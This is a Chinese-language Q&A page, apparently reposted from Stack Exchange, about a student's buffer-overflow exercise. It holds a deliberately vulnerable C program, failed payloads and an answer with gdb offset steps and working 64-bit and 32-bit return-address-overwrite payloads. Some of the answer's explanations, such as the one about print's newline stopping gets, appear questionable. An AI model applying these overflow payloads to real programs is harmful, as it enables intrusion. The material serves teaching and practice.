网安学生求助:不修改check值,通过buffer overflow调用vip_queue函数
缓冲区溢出调用vip_queue函数求助
我是网络安全专业学生,正在完成一项C语言缓冲区溢出练习,要求在不修改check变量值的前提下,通过缓冲区溢出调用vip_queue函数。已尝试多种payload,但均未成功,希望获得技术帮助。
目标代码
#include <stdio.h> #include <stdlib.h> typedef struct { char name[32]; int check; } user_data; void banner() { puts(" _ _ _ _____"); puts("| \ | (_) ___ ___| ___|__ _ __ _ _ _ __ ___ ___"); puts("| \| | |/ __/ _ \ |_ / _ \| '__| | | | '_ ` _ \/ __|"); puts("| |\ | | (_| __/ _| (_) | | | |_| | | | | | \__ \"); puts("|_| \_|_|\___\___|_| \___/|_| \__,_|_| |_| |_|___/"); puts("\n\n\n"); } void vip_queue() { puts("[+] Your user is in the VIP list. Thanks for subscribing :D"); puts("==================================="); puts("==================================="); puts("==== CONGRATULATIONS ===="); puts("==================================="); puts("==== YOU MANAGED ===="); puts("==== TO EXPLOIT THE BINARY ===="); puts("==================================="); puts("==================================="); puts("== STACK BASED BUFFER OVERFLOW =="); puts("==================================="); puts("==================================="); } void get_user_info() { user_data data; data.check = 0; puts("[+] Welcome to NiceForums!"); puts("[+] Please, submit your name or alias to continue with the subscription."); puts("Name or Alias:"); gets(data.name); if ( data.check != 0 ) { puts("[!] ALERT! Stop trying strange stuff >:("); exit(1); } return; } int main() { banner(); get_user_info(); puts("[!] There are no places available for non VIP users and you don't figure as one."); }
尝试过的payload
# 尝试1 python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt # 尝试2 python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt # 尝试3 python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt # 尝试4 python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78
编译命令
gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums
问题分析与解决方案
核心问题
gets函数行为误解:之前误以为输入中的\x00会让gets停止读取,实际上gets仅在遇到换行符或EOF时停止,输入中的\x00会被正常写入缓冲区,仅在结束时自动追加一个\x00。- 栈偏移计算错误:未考虑栈中旧rbp(64位为8字节,32位为4字节)的占位,导致返回地址覆盖位置不正确。
print命令的额外换行:Python2的print会自动在输出末尾添加换行符,导致gets提前终止读取,无法完整写入payload。
正确payload构造步骤
1. 确认栈布局(64位程序为例)
通过gdb调试确认偏移:
- 启动gdb:
gdb ./nice_forums - 在
gets(data.name)处下断点:b get_user_info+60 - 运行程序:
r - 查看
data地址:p &data,查看返回地址位置:info frame - 最终计算偏移:32(name缓冲区) + 4(check变量) + 8(旧rbp) = 44字节
2. 构造payload
需满足:
- 前32字节填充任意字符(填满
name缓冲区) - 接下来4字节填充
\x00\x00\x00\x00(保持check值为初始的0) - 接下来8字节填充任意字符(覆盖旧rbp)
- 最后8字节填充
vip_queue函数的小端序地址(通过objdump -d ./nice_forums | grep vip_queue获取,例如0x4011a7对应\xa7\x11\x40\x00\x00\x00\x00\x00)
3. 生成payload(避免自动换行)
使用sys.stdout.write输出,避免print添加的换行符截断输入:
python2 -c "import sys; sys.stdout.write(32*'A' + '\x00\x00\x00\x00' + 8*'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00')" > payload.txt
4. 测试payload
cat payload.txt | ./nice_forums
32位程序适配
若编译为32位程序(添加-m32参数):
- 旧ebp为4字节,偏移量为
32+4+4=40字节 vip_queue地址为4字节小端序,例如0x080411a7对应\xa7\x11\x04\x08- payload命令:
python2 -c "import sys; sys.stdout.write(32*'A' + '\x00\x00\x00\x00' + 4*'A' + '\xa7\x11\x04\x08')" > payload_32.txt
内容的提问来源于stack exchange,提问作者cucaracha
相关产品推荐
相关产品推荐

